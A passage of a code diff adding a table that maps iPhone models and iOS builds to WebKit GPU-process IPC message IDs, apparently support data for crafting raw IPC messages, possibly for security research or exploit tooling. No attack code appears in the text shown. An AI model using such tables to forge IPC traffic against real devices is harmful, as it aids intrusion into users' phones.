0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,4_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,5_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone11,2_4_6_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone11,6_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + +"iPhone11,4_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone11,8_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone12,1_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone12,3_5_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone12,5_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone12,8_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone13,1_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone13,2_3_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone13,3_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + 